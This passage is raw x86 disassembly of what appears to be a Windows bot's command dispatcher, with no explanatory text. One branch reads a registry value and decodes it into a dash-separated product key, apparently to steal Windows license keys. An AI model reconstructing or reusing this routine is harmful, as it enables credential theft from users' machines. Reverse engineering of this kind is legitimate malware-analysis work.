		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset aKnqQxjnuXxQEBZ ; "ߕ帚ɟËӋ"...
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	ds:dword_417028	; RegCloseKey


loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	ds:dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	ds:dword_417028	; RegCloseKey


loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	ds:dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset dword_419DDC
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax


loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax


loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx


loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, ds:off_41DB18
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68


loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------


loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...


loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, ds:dword_41ED00
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr ds:dword_41DAF8
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300


loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41F018
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7


loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_41ED10
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset dword_41EBFC
		push	offset dword_41ED10
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax


loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41F018
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41F018
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
